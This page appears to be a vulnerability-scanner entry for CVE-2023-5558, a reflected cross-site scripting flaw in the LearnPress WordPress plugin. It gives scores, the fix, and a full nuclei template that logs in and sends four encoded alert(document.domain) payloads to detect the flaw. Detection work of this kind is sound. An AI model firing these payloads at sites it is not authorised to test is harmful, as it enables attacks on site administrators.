LearnPress < 4.2.5.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Allows attackers to execute malicious scripts in the context of the victim's browser.

Fix

Update LearnPress WordPress Plugin to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/learnpress"
Send: POST /wp-login.php ; GET /{{path}}
Positive when: contains "\"';alert(document.domain)<!--" or "\"';alert(document.domain);b='" or "'-alert(`XSS`)-'=a" or "</script><script>alert`document.domain`</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5558 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-5558

info:
  name: LearnPress < 4.2.5.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Allows attackers to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update LearnPress WordPress Plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4efd2a4d-89bd-472f-ba5a-f9944fd4dd16/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5558
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5558
    cwe-id: CWE-79
    epss-score: 0.00908
    epss-percentile: 0.6024
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 6
    vendor: thimpress
    product: learnpress
    framework: wordpress
  tags: cve,cve2023,wp,wp-plugin,wordpress,learnpress,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "/wp-content/plugins/learnpress"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - '?param=value%22%27%3Balert(document.domain)%3C!--'
        - '?param=value%22%27%3Balert(document.domain)%3Bb=%27'
        - '?%27-alert(%60XSS%60)-%27=a'
        - 'instructors/?param=value%26%23x3C%3B%2Fscript%26%23x3E%3B%26%23x3C%3Bscript%26%23x3E%3Balert%26%23x60%3Bdocument.domain%26%23x60%3B%26%23x3C%3B%2Fscript%26%23x3E%3B%0A'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"';alert(document.domain)<!--"
          - "\"';alert(document.domain);b='"
          - "'-alert(`XSS`)-'=a"
          - "</script><script>alert`document.domain`</script>"
        condition: or

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from